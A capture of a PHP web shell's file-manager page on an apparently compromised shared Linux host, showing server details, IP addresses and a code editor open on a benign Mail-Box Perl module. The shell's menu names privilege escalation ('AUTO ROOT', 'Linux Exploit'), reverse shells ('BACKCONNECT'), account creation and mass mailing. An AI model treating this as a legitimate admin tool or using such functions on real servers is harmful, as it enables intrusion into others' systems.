Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Box /
Message /
[ HOME SHELL ]
Name
Size
Permission
Action
Destructed.pm
2.11
KB
-rw-r--r--
Destructed.pod
16.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Destructed.pm
# Copyrights 2001-2020 by [Mark Overmeer]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. # This code is part of distribution Mail-Box. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Box::Message::Destructed; use vars '$VERSION'; $VERSION = '3.009'; use base 'Mail::Box::Message'; use strict; use warnings; use Carp; sub new(@) { my $class = shift; $class->log(ERROR => 'You cannot instantiate a destructed message'); undef; } sub isDummy() { 1 } sub head(;$) { my $self = shift; return undef if @_ && !defined(shift); $self->log(ERROR => "You cannot take the head of a destructed message"); undef; } sub body(;$) { my $self = shift; return undef if @_ && !defined(shift); $self->log(ERROR => "You cannot take the body of a destructed message"); undef; } sub coerce($) { my ($class, $message) = @_; unless($message->isa('Mail::Box::Message')) { $class->log(ERROR=>"Cannot coerce a ",ref($message), " into destruction"); return (); } $message->body(undef); $message->head(undef); $message->modified(0); bless $message, $class; } sub modified(;$) { my $self = shift; $self->log(ERROR => 'Do not set the modified flag on a destructed message') if @_ && $_[0]; 0; } sub isModified() { 0 } sub label($;@) { my $self = shift; if(@_==1) { my $label = shift; return $self->SUPER::label('deleted') if $label eq 'deleted'; $self->log(ERROR => "Destructed message has no labels except 'deleted', requested is $label"); return 0; } my %flags = @_; unless(keys %flags==1 && exists $flags{deleted}) { $self->log(ERROR => "Destructed message has no labels except 'deleted', trying to set @{[ keys %flags ]}"); return; } $self->log(ERROR => "Destructed messages can not be undeleted") unless $flags{deleted}; 1; } sub labels() { wantarray ? ('deleted') : +{deleted => 1} } 1;
Close